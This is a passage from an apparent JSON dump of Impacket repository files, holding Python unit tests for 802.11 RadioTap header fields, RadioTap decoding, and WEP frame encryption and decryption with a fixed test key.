len(self.frame_1)+2)\n        self.assertEqual(self.rt1.get_header_size(), 32+2)\n\n    def test_17_dbm_tx_power_field(self):\n        \"\"\"Test RadioTap dBm Tx Power getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dBm_tx_power(), None)\n        self.rt1.set_dBm_tx_power(power=-8)\n        self.assertEqual(self.rt1.get_dBm_tx_power(), -8)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)\n        self.assertEqual(self.rt1.get_header_size(), 32+1)\n\n    def test_18_antenna_field(self):\n        \"\"\"Test RadioTap Antenna getter/setter\"\"\"\n        # TODO: When the field is new\n        # When exist the field\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_antenna(), 0x02)\n        self.rt1.set_antenna(antenna_index=0xF1)\n        self.assertEqual(self.rt1.get_antenna(), 0xF1)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_antenna(), 0x00)\n        self.rt0.set_antenna(antenna_index=0xF1)\n        self.assertEqual(self.rt0.get_antenna(), 0xF1)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n\n    def test_19_db_ant_signal_field(self):\n        \"\"\"Test RadioTap dB Antenna Signal getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_dB_ant_signal(), 0x1e)\n        self.rt0.set_dB_ant_signal(signal=0xF1)\n        self.assertEqual(self.rt0.get_dB_ant_signal(), 0xF1)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dB_ant_signal(), None)\n        self.rt1.set_dB_ant_signal(signal=0xF1)\n        self.assertEqual(self.rt1.get_dB_ant_signal(), 0xF1)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)\n        self.assertEqual(self.rt1.get_header_size(), 32+1)\n\n    def test_20_db_ant_noise_field(self):\n        \"\"\"Test RadioTap dB Antenna Noise getter/setter\"\"\"\n        # TODO: When exist the field\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_dB_ant_noise(), None)\n        self.rt1.set_dB_ant_noise(signal=0xF1)\n        self.assertEqual(self.rt1.get_dB_ant_noise(), 0xF1)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)\n        self.assertEqual(self.rt1.get_header_size(), 32+1)\n\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_dB_ant_noise(), None)\n        self.rt0.set_dB_ant_noise(signal=0xF1)\n        self.assertEqual(self.rt0.get_dB_ant_noise(), 0xF1)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0)+1)\n        self.assertEqual(self.rt0.get_header_size(), 24+1)\n\n    # def test_21_rx_flags_field(self):\n    #     \"\"\"Test RadioTap RX Flags getter/setter\"\"\"\n    #     # When the field is new\n    #     # TODO: When exist the field\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))\n    #     self.assertEqual(self.rt2.get_header_size(),32)\n    #     self.assertEqual(self.rt2.get_rx_flags(),None)\n    #     self.rt2.set_rx_flags( signal=0xABBA )\n    #     self.assertEqual(self.rt2.get_rx_flags(),0xABBA)\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)\n    #     self.assertEqual(self.rt2.get_header_size(),32+2)\n\n    def test_22_fcs_in_header_field(self):\n        \"\"\"Test RadioTap FCS in header getter/setter\"\"\"\n        # When exist the field\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        self.assertEqual(self.rt0.get_FCS_in_header(), 0x00000000)\n        self.rt0.set_FCS_in_header(fcs=0x89ABCDEF)\n        self.assertEqual(self.rt0.get_FCS_in_header(), 0x89ABCDEF)\n        self.assertEqual(self.rt0.get_size(), len(self.frame_0))\n        self.assertEqual(self.rt0.get_header_size(), 24)\n        \n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_FCS_in_header(), None)\n        self.rt1.set_FCS_in_header(fcs=0x89ABCDEF)\n        self.assertEqual(self.rt1.get_FCS_in_header(), 0x89ABCDEF)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+4)\n        self.assertEqual(self.rt1.get_header_size(), 32+4)\n\n    # def test_23_rssi_field(self):\n    #     \"\"\"Test RadioTap RSSI getter/setter\"\"\"\n    #     # When the field is new\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))\n    #     self.assertEqual(self.rt2.get_header_size(),32)\n    #     self.assertEqual(self.rt2.get_RSSI(),None)\n    #     self.rt2.set_RSSI( rssi=0xBA, max_rssi=0xAB )\n    #     self.assertEqual(self.rt2.get_RSSI(),( 0xBA, 0xAB))\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+2)\n    #     self.assertEqual(self.rt2.get_header_size(),32+2)\n    #     # TODO: When exist the field\n\n    def test_24_rts_retries_field(self):\n        \"\"\"Test RadioTap RTS retries getter/setter\"\"\"\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_RTS_retries(), None)\n        self.rt1.set_RTS_retries(retries=0xBA)\n        self.assertEqual(self.rt1.get_RTS_retries(), 0xBA)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)\n        self.assertEqual(self.rt1.get_header_size(), 32+1)\n        # TODO: When exist the field\n\n    def test_25_tx_flags_field(self):\n        \"\"\"Test RadioTap TX flags getter/setter\"\"\"\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_tx_flags(), None)\n        self.rt1.set_tx_flags(flags=0xABBA)\n        self.assertEqual(self.rt1.get_tx_flags(), 0xABBA)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+2)\n        self.assertEqual(self.rt1.get_header_size(), 32+2)\n        # TODO: When exist the field\n\n    def test_26_xchannel_field(self):\n        \"\"\"Test RadioTap xchannel getter/setter\"\"\"\n        (ch_type, ch_freq, ch_num, ch_maxpower) = self.rt1.get_xchannel()\n        self.assertEqual(ch_type, 0x00000140)\n        self.assertEqual(ch_freq, 5180)\n        self.assertEqual(ch_num, 36)\n        self.assertEqual(ch_maxpower, 0x11)\n        (ch_type, ch_freq, ch_num, ch_maxpower) = (0x12345678, 1234, 12, 34)\n        self.rt1.set_xchannel(flags=ch_type, freq=ch_freq, channel=ch_num, maxpower=ch_maxpower)\n        (nch_type, nch_freq, nch_num, nch_maxpower) = self.rt1.get_xchannel()\n        self.assertEqual(ch_type, nch_type)\n        self.assertEqual(ch_freq, nch_freq)\n        self.assertEqual(ch_num, nch_num)\n        self.assertEqual(ch_maxpower, nch_maxpower)\n\n    def test_27_data_retries_field(self):\n        \"\"\"Test RadioTap Data retries getter/setter\"\"\"\n        # When the field is new \n        self.assertEqual(self.rt1.get_size(), len(self.frame_1))\n        self.assertEqual(self.rt1.get_header_size(), 32)\n        self.assertEqual(self.rt1.get_data_retries(), None)\n        self.rt1.set_data_retries(retries=0xAB)\n        self.assertEqual(self.rt1.get_data_retries(), 0xAB)\n        self.assertEqual(self.rt1.get_size(), len(self.frame_1)+1)\n        self.assertEqual(self.rt1.get_header_size(), 32+1)\n        # TODO: When exist the field\n\n    # def test_28_hardware_queue_field(self):\n    #     \"\"\"Test RadioTap Hardware Queue getter/setter\"\"\"\n    #     # When the field is new\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2))\n    #     self.assertEqual(self.rt2.get_header_size(),32)\n    #     self.assertEqual(self.rt2.get_hardware_queue(),None)\n    #     self.rt2.set_hardware_queue( queue=0xAB )\n    #     self.assertEqual(self.rt2.get_hardware_queue(),0xAB)\n    #     self.assertEqual(self.rt2.get_size(),len(self.frame_orig_2)+1)\n    #     self.assertEqual(self.rt2.get_header_size(),32+1)\n    #     # TODO: When exist the field\n\n    def test_29_radiotap_length_field(self):\n        \"\"\"Test RadioTap header length field\"\"\"\n        # RadioTap from scratch calling get_length() and then get_packet()\n        rt = RadioTap()\n        # 0x08 bytes is the minimal headers size:\n        #   1 byte Revision\n        #   1 byte pad\n        #   2 bytes header length\n        #   4 bytes present flags\n        self.assertEqual(rt.get_header_length(), 0x08)\n        raw_packet = rt.get_packet()\n        self.assertEqual(raw_packet, b\"\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\")\n        # RadioTap from scratch without call to get_length()\n        raw_packet = RadioTap().get_packet()\n        self.assertEqual(raw_packet, b\"\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\")\n\n    def test_30_radiotap_length_filed_with_payload(self):\n        \"\"\"Test RadioTap header length field with payload\"\"\"\n        # RadioTap from scratch calling get_length() and then get_packet()\n        rt = RadioTap()\n        self.assertEqual(rt.get_header_length(), 0x08) \n        data = Data(b\"aa\")\n        rt.contains(data)\n        self.assertEqual(rt.get_header_length(), 0x08)  # The header length is the same\n        raw_packet = rt.get_packet()\n        self.assertEqual(raw_packet, b\"\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00aa\")\n\n    def test_31_radiotap_present_flags_extended(self):\n        \"\"\"Test RadioTap extended present flags\"\"\"\n        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_EXT), True)\n        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_RATE), True)\n        self.assertEqual(self.rt2.get_present_bit(RadioTap.RTF_CHANNEL), True)\n        self.assertEqual(self.rt2.get_channel(), (2412, 192))\n        self.assertEqual(self.rt2.get_rate(), 2)\n        self.assertEqual(self.rt2.get_dBm_ant_signal(), 0xa6)\n        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_EXT), True)\n        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_RATE), True)\n        self.assertEqual(self.rt3.get_present_bit(RadioTap.RTF_CHANNEL), True)\n        self.assertEqual(self.rt3.get_channel(), (2412, 192))\n        self.assertEqual(self.rt3.get_rate(), 2)\n        self.assertEqual(self.rt3.get_dBm_ant_signal(), 0xa6)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_RadioTapDecoder.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nimport impacket.dot11\nimport impacket.ImpactPacket\nfrom impacket.ImpactDecoder import RadioTapDecoder\n\n\nclass TestRadioTapDecoder(unittest.TestCase):\n\n    def setUp(self):\n        self.RadioTapData=b'\\x00\\x00\\x20\\x00\\x67\\x08\\x04\\x00\\x30\\x03\\x1a\\x25\\x00\\x00\\x00\\x00\\x22\\x0c\\xd9\\xa0\\x02\\x00\\x00\\x00\\x40\\x01\\x00\\x00\\x3c\\x14\\x24\\x11\\x08\\x02\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x06\\x03\\x7f\\x07\\xa0\\x16\\x00\\x19\\xe3\\xd3\\x53\\x52\\x90\\x7f\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\x00\\x19\\xe3\\xd3\\x53\\x52\\xa9\\xfe\\xf7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x43\\x08\\x0e\\x36'\n        self.radiotap_decoder = RadioTapDecoder()\n        self.in0=self.radiotap_decoder.decode(self.RadioTapData)\n        self.in1=self.in0.child()\n        self.in2=self.in1.child()\n        self.in3=self.in2.child()\n        self.in4=self.in3.child()\n        self.in5=self.in4.child()\n        self.in6=self.in5.child()\n        \n    def test_00(self):\n        'Test RadioTap decoder'\n        if PY2:\n            self.assertEqual(str(self.in0.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(self.in0.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n        \n    def test_01(self):\n        'Test Dot11 decoder'\n        if PY2:\n            self.assertEqual(str(self.in1.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(self.in1.__class__), \"<class 'impacket.dot11.Dot11'>\")\n\n    def test_02(self):\n        'Test Dot11DataFrame decoder'\n        if PY2:\n            self.assertEqual(str(self.in2.__class__), \"impacket.dot11.Dot11DataFrame\")\n        else:\n            self.assertEqual(str(self.in2.__class__), \"<class 'impacket.dot11.Dot11DataFrame'>\")\n    \n    def test_03(self):\n        'Test LLC decoder'\n        if PY2:\n            self.assertEqual(str(self.in3.__class__), \"impacket.dot11.LLC\")\n        else:\n            self.assertEqual(str(self.in3.__class__), \"<class 'impacket.dot11.LLC'>\")\n\n    def test_04(self):\n        'Test SNAP decoder'\n        if PY2:\n            self.assertEqual(str(self.in4.__class__), \"impacket.dot11.SNAP\")\n        else:\n            self.assertEqual(str(self.in4.__class__), \"<class 'impacket.dot11.SNAP'>\")\n\n#    def test_05(self):\n#        'Test ARP decoder'\n#        self.assertEqual(str(self.in5.__class__), \"ImpactPacket.ARP\")\n\n#    def test_05(self):\n#        'Test Data decoder'\n#        self.assertEqual(str(self.in6.__class__), \"ImpactPacket.Data\")\n        \n    def test_06(self):\n        'Test Protocol Finder'\n        p=self.radiotap_decoder.get_protocol(impacket.dot11.RadioTap)\n        if PY2:\n            self.assertEqual(str(p.__class__), \"impacket.dot11.RadioTap\")\n        else:\n            self.assertEqual(str(p.__class__), \"<class 'impacket.dot11.RadioTap'>\")\n                \n        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11)\n        if PY2:\n            self.assertEqual(str(p.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(p.__class__), \"<class 'impacket.dot11.Dot11'>\")\n        \n        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11DataFrame)\n        if PY2:\n            self.assertEqual(str(p.__class__), \"impacket.dot11.Dot11DataFrame\")\n        else:\n            self.assertEqual(str(p.__class__), \"<class 'impacket.dot11.Dot11DataFrame'>\")\n        \n        p=self.radiotap_decoder.get_protocol(impacket.dot11.LLC)\n        if PY2:\n            self.assertEqual(str(p.__class__), \"impacket.dot11.LLC\")\n        else:\n            self.assertEqual(str(p.__class__), \"<class 'impacket.dot11.LLC'>\")\n        \n        p=self.radiotap_decoder.get_protocol(impacket.dot11.SNAP)\n        if PY2:\n            self.assertEqual(str(p.__class__), \"impacket.dot11.SNAP\")\n        else:\n            self.assertEqual(str(p.__class__), \"<class 'impacket.dot11.SNAP'>\")\n        \n        #p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP)\n        #self.assertEqual(str(p.__class__), \"ImpactPacket.ARP\")\n        \n        #p=self.radiotap_decoder.get_protocol(ImpactPacket.Data)\n        #self.assertEqual(str(p.__class__), \"ImpactPacket.Data\")\n        \n        # When not found, None is returned\n        p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA)\n        self.assertEqual(p, None)\n      \n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_WEPDecoder.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom six import PY2\nfrom binascii import unhexlify\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WEP,Dot11WEPData\nfrom impacket.ImpactPacket import IP,ICMP\nfrom impacket.Dot11KeyManager import KeyManager\nfrom impacket.ImpactDecoder import Dot11Decoder\n\n\nclass TestDot11WEPData(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Data Frame\n        #\n        self.dot11frame = b'\\x08\\x41\\x2c\\x00\\x00\\x21\\x29\\x68\\x33\\x5d\\x00\\x18\\xde\\x7c\\x37\\x9f\\x00\\x21\\x29\\x68\\x33\\x5b\\xf0\\xd6\\x0c\\x31\\x65\\x00\\x8d\\x23\\x81\\xe9\\x25\\x1c\\xb5\\xaa\\x83\\xd2\\xc7\\x16\\xba\\x6e\\xe1\\x8e\\x7d\\x3a\\x2c\\x71\\xc0\\x0f\\x6a\\xb8\\x2f\\xbc\\x54\\xc4\\xb0\\x14\\xab\\x03\\x11\\x5e\\xde\\xcc\\xab\\x2b\\x18\\xeb\\xeb\\x25\\x0f\\x75\\xeb\\x6b\\xf5\\x7f\\xd6\\x5c\\xb9\\xe1\\xb2\\x6e\\x50\\xba\\x4b\\xb4\\x8b\\x9f\\x34\\x71\\xda\\x9e\\xcf\\x12\\xcb\\x8f\\x36\\x1b\\x02\\x53'\n        \n        d = Dot11(self.dot11frame, FCS_at_end = False)\n        \n        self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA)\n        self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA)\n        self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)\n        \n        data = Dot11DataFrame(d.get_body_as_string())\n        d.contains(data)\n        \n        self.wep_header = Dot11WEP(data.body_string)\n        data.contains(self.wep_header)\n        \n        self.wep_data = Dot11WEPData(self.wep_header.body_string)\n        self.wep_header.contains(self.wep_data)\n        \n        self.km=KeyManager()\n        self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5d],unhexlify(b'999cbb701ca2ef030e302dcc35'))\n        \n    def test_01(self):\n        'Test WEPHeader is_WEP method'\n        self.assertEqual(self.wep_header.is_WEP(), True)\n    \n    def test_02(self):\n        'Test Packet Hierarchy'\n        dot11_decoder = Dot11Decoder()\n        dot11_decoder.FCS_at_end(False)\n        dot11_decoder.set_key_manager(self.km)\n        in0=dot11_decoder.decode(self.dot11frame)\n        if PY2:\n            self.assertEqual(str(in0.__class__), \"impacket.dot11.Dot11\")\n        else:\n            self.assertEqual(str(in0.__class__), \"<class 'impacket.dot11.Dot11'>\")\n        in1=in0.child()\n        if PY2:\n            self.assertEqual(str(in1.__class__), \"impacket.dot11.Dot11DataFrame\")\n        else:\n            self.assertEqual(str(in1.__class__), \"<class 'impacket.dot11.Dot11DataFrame'>\")\n        in2=in1.child()\n        if PY2:\n            self.assertEqual(str(in2.__class__), \"impacket.dot11.Dot11WEP\")\n        else:\n            self.assertEqual(str(in2.__class__), \"<class 'impacket.dot11.Dot11WEP'>\")\n        in3=in2.child()\n        if PY2:\n            self.assertEqual(str(in3.__class__), \"impacket.dot11.Dot11WEPData\")\n        else:\n            self.assertEqual(str(in3.__class__), \"<class 'impacket.dot11.Dot11WEPData'>\")\n        in4=in3.child()\n        if PY2:\n            self.assertEqual(str(in4.__class__), \"impacket.dot11.LLC\")\n        else:\n            self.assertEqual(str(in4.__class__), \"<class 'impacket.dot11.LLC'>\")\n        in5=in4.child()\n        if PY2:\n            self.assertEqual(str(in5.__class__), \"impacket.dot11.SNAP\")\n        else:\n            self.assertEqual(str(in5.__class__), \"<class 'impacket.dot11.SNAP'>\")\n        in6=in5.child()\n        #self.assertEqual(str(in6.__class__), \"ImpactPacket.IP\")\n        in7=in6.child()\n        #self.assertEqual(str(in7.__class__), \"ImpactPacket.ICMP\")\n        in8=in7.child()\n        #self.assertEqual(str(in8.__class__), \"ImpactPacket.Data\")\n        self.assertEqual(in8.get_packet(),b'abcdefghijklmnopqrstuvwabcdefghi')\n        \n    def test_03(self):\n        'Test WEPHeader IV getter and setter methods'\n        self.assertEqual(self.wep_header.get_iv(), 0x0c3165)\n        \n        self.wep_header.set_iv(0x1e0501) # Es de 24 bit\n        self.assertEqual(self.wep_header.get_iv(), 0x1e0501)\n\n    def test_04(self):\n        'Test WEPHeader keyID getter and setter methods'\n        self.assertEqual(self.wep_header.get_keyid(), 0x00)\n        \n        self.wep_header.set_iv(0x03) # Es de 2 bits\n        self.assertEqual(self.wep_header.get_iv(), 0x03)\n    \n    def test_05(self):\n        'Test WEPData ICV getter and setter methods'\n        \n        dot11_decoder = Dot11Decoder()\n        dot11_decoder.FCS_at_end(False)\n        dot11_decoder.set_key_manager(self.km)\n        dot11_decoder.decode(self.dot11frame)\n        wepdata = dot11_decoder.get_protocol(Dot11WEPData)\n\n        # The encrypted ICV is 0x361b0253, but it not the real,\n        # we need decrypt it. The decrypted and real ICV is 0xA1F93985\n        \n        self.assertEqual(wepdata.get_icv(),0xA1F93985)\n        \n        self.assertEqual(wepdata.get_computed_icv(),0xA1F93985)\n        \n        self.assertEqual(wepdata.get_icv(), wepdata.get_computed_icv())\n        \n        wepdata.set_icv(0x11223344)\n        self.assertEqual(wepdata.get_icv(), 0x11223344)\n        \n    def test_06(self):\n        'Test WEPData body decryption'\n        dot11_decoder = Dot11Decoder()\n        dot11_decoder.FCS_at_end(False)\n        dot11_decoder.set_key_manager(self.km)\n        dot11_decoder.decode(self.dot11frame)\n        dot11_decoder.get_protocol(Dot11WEP)\n        wepdata = dot11_decoder.get_protocol(Dot11WEPData)\n        decrypted = b'\\xaa\\xaa\\x03\\x00\\x00\\x00\\x08\\x00\\x45\\x00\\x00\\x3c\\xa6\\x07\\x00\\x00\\x80\\x01\\xee\\x5a\\xc0\\xa8\\x01\\x66\\x40\\xe9\\xa3\\x67\\x08\\x00\\xc5\\x56\\x04\\x00\\x84\\x05\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\x6a\\x6b\\x6c\\x6d\\x6e\\x6f\\x70\\x71\\x72\\x73\\x74\\x75\\x76\\x77\\x61\\x62\\x63\\x64\\x65\\x66\\x67\\x68\\x69\\xa1\\xf9\\x39\\x85'\n        self.assertEqual(wepdata.get_packet(), decrypted)\n        self.assertEqual(wepdata.check_icv(), True)\n        \n        ip = dot11_decoder.get_protocol(IP)\n        self.assertEqual(ip.get_ip_src(),'192.168.1.102')\n        self.assertEqual(ip.get_ip_dst(),'64.233.163.103')\n        \n        icmp = dot11_decoder.get_protocol(ICMP)\n        self.assertEqual(icmp.get_icmp_type(),icmp.ICMP_ECHO)\n        self.assertEqual(icmp.get_icmp_id(),0x0400)\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_WEPEncoder.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom binascii import unhexlify\nimport impacket.dot11\nimport impacket.ImpactPacket\nfrom impacket.Dot11KeyManager import KeyManager\n\n\nclass TestDot11WEPData(unittest.TestCase):\n\n    def setUp(self):\n        self.dot11 = impacket.dot11.Dot11(FCS_at_end = False)\n        \n        # dot11.fc\n        self.dot11.set_version(0)\n        self.dot11.set_type_n_subtype(impacket.dot11.Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA)\n\n        # dot11.fc.flags\n        self.dot11.set_fromDS(0)\n        self.dot11.set_toDS(1)\n        self.dot11.set_moreFrag(0)\n        self.dot11.set_retry(0)\n        self.dot11.set_powerManagement(0)\n        self.dot11.set_moreData(0)\n        self.dot11.set_protectedFrame(1)\n        self.dot11.set_order(0)\n        \n        # dot11.Data\n        self.dot11data = impacket.dot11.Dot11DataFrame()\n        self.dot11data.set_duration(44)\n        self.dot11data.set_address1([0x00,0x21,0x29,0x68,0x33,0x5d]) # Bssid\n        self.dot11data.set_address2([0x00,0x18,0xde,0x7c,0x37,0x9f]) # Source\n        self.dot11data.set_address3([0x00,0x21,0x29,0x68,0x33,0x5d]) # Destination\n        self.dot11data.set_fragment_number(0)\n        self.dot11data.set_sequence_number(3439)\n        \n        # WEP\n        self.wep = impacket.dot11.Dot11WEP()\n        self.wep.set_iv(0x0c3165)\n        self.wep.set_keyid(0)\n        \n        # WEPData\n        self.wepdata = impacket.dot11.Dot11WEPData()\n        \n        # LLC\n        self.llc = impacket.dot11.LLC()\n        self.llc.set_DSAP(0xaa)\n        self.llc.set_SSAP(0xaa)\n        self.llc.set_control(0x03)\n        \n        # SNAP\n        self.snap = impacket.dot11.SNAP()\n        self.snap.set_OUI(0x000000)\n        self.snap.set_protoID(0x0800)\n        \n        # IP\n        self.ip = impacket.ImpactPacket.IP()\n        self.ip.set_ip_v(0x04)\n        self.ip.set_ip_tos(0x00)\n        self.ip.set_ip_id(0xa607)\n        # IP.flags\n        self.ip.set_ip_rf(0)\n        self.ip.set_ip_df(0)\n        self.ip.set_ip_mf(0)\n        #\n        self.ip.set_ip_off(0)\n        self.ip.set_ip_ttl(128)\n        self.ip.set_ip_p(0x01) # ICMP\n        self.ip.set_ip_src('192.168.1.102')\n        self.ip.set_ip_dst('64.233.163.103')\n        \n        # ICMP\n        self.icmp = impacket.ImpactPacket.ICMP()\n        self.icmp.set_icmp_type(self.icmp.ICMP_ECHO)\n        self.icmp.set_icmp_code(0x00)\n        self.icmp.set_icmp_id(0x0400)\n        self.icmp.set_icmp_seq(0x8405)\n        \n        # Data\n        datastring = b'abcdefghijklmnopqrstuvwabcdefghi'\n        self.data = impacket.ImpactPacket.Data( datastring )\n        \n        # Build the protocol stack\n        self.dot11.contains(self.dot11data)\n        self.dot11data.contains(self.wep)\n        self.wep.contains(self.wepdata)\n        self.wepdata.contains(self.llc)\n        self.llc.contains(self.snap)\n        self.snap.contains(self.ip)\n        self.ip.contains(self.icmp)\n        self.icmp.contains(self.data)\n        \n        # Instantiated the Key Manager\n        self.km=KeyManager()\n        self.km.add_key([0x00,0x21,0x29,0x68,0x33,0x5b],unhexlify('999cbb701ca2ef030e302dcc35'))\n        \n    def test_02(self):\n        'Test ICV methods'\n        self.assertEqual(self.wepdata.get_icv(),0x00000000)\n        self.assertEqual(self.wepdata.get_computed_icv(),0xA1F93985)\n        self.wepdata.set_icv(0xA1F93985)\n        self.assertEqual(self.wepdata.get_icv(), self.wepdata.get_computed_icv())\n        self.wepdata.set_icv(0x01020304)\n        self.assertEqual(self.wepdata.get_icv(),0x01020304)\n        \n    def test_03(self):\n        'Test WEPData creation from scratch with encryption'\n        \n        #print \"\\nWEP Data Decrypted [%s]\"%hexlify(self.wepdata.get_packet())\n        self.wepdata.set_icv(0xA1F93985)\n        wep_enc=self.wep.get_encrypted_data(unhexlify('999cbb701ca2ef030e302dcc35'))\n        #print \"\\nWEP Data Encrypted [%s]\"%hexlify(wep_enc)\n        self.assertEqual(wep_enc,unhexlify('8d2381e9251cb5aa83d2c716ba6ee18e7d3a2c71c00f6ab82fbc54c4b014ab03115edeccab2b18ebeb250f75eb6bf57fd65cb9e1b26e50ba4bb48b9f3471da9ecf12cb8f361b0253'))\n        \n        #print \"\\nDot11 decrypted [%s]\"%hexlify(self.dot11.get_packet())\n        self.wep.encrypt_frame(unhexlify('999cbb701ca2ef030e302dcc35'))\n        #print \"\\nDot11 encrypted [%s]\"%hexlify(self.dot11.get_packet())\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=1)\n"
  },
  {
    "path": "tests/dot11/test_WPA.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\nimport unittest\nfrom impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA,Dot11WPAData\n\n\nclass TestDot11WPAData(unittest.TestCase):\n\n    def setUp(self):\n        # 802.11 Data Frame \n        #\n        